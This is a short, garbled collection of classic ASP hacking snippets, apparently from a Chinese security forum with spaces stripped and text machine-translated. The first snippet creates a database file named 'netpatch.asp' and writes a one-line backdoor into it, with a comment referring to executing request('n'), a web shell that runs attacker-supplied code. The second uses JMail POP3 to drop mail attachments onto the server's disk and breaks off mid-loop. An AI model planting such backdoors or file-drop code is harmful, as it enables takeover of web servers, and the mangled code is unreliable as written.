<%
'codebynetpatch
dimdbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)
setydb=server.CreateObject("ADOX.Catalog")
ydb.Create"Provider=Microsoft.Jet.OLEDB.4.0;DataSource="&dbfile
setydb=nothing
iferr.number=0then
Response.Writedbfile&"Create successfully<br>"
else
Response.Write"Creation failed, reason: "&err.description
Response.End
endif
SetConn=Server.CreateObject("ADODB.Connection")
Conn.Open"Provider=Microsoft.Jet.OLEDB.4.0;DataSource="&dbfile
sql="CREATETABLEfdata([data]Memo)"
conn.execute(sql)
Setrs=CreateObject("ADODB.RecordSet")
rs.Open"FData",conn,1,3
rs.addnew
rs("data")="┼Power number and revitalize the enemy∨≮┩>"'(Remember to remove the comments! One sentence backdoor executionerquest("n"))
rs.update
%>
Write files in Jmail into hard disk
<%
'codzbykEvin1986[S4T]
User=Request.Form("User")
Pass=Request.Form("Pass")
Popserver=Request.Form("Popserver")
ifUser<>""andPass<>"""andPopserver<>""then
Setobjmail=CreateObject("JMail.POP3")
objmail.ConnectUser,Pass,Popserver
setobjmsg=CreateObject("jmail.message")
Setobjmsg=objmail.Messages.item(1)
separator=","
response.write"AttachmentNameis:"&SaveAtta&"<br>"
objmail.Disconnect
Endif
FunctionSaveAtta()
SetAttachments=objmsg.Attachments
separator=","
response.write"ThesizeofthisAttachmentis:"&objmsg.size&"<br>"
Fori=0ToAttachments.Count-1
Ifi=Attachments.Count-1Then